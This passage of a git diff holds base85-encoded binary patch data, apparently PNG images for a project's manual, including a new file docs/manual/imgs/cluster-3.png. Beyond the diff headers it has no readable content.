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 R|NVN!*yyogrM|<5{{#A2ZCwBW literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/cluster-3.png b/docs/manual/imgs/cluster-3.png new file mode 100644 index 0000000000000000000000000000000000000000..e7e35c744ba1aa31030ad3734fba340649921373 GIT binary patch literal 169295 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 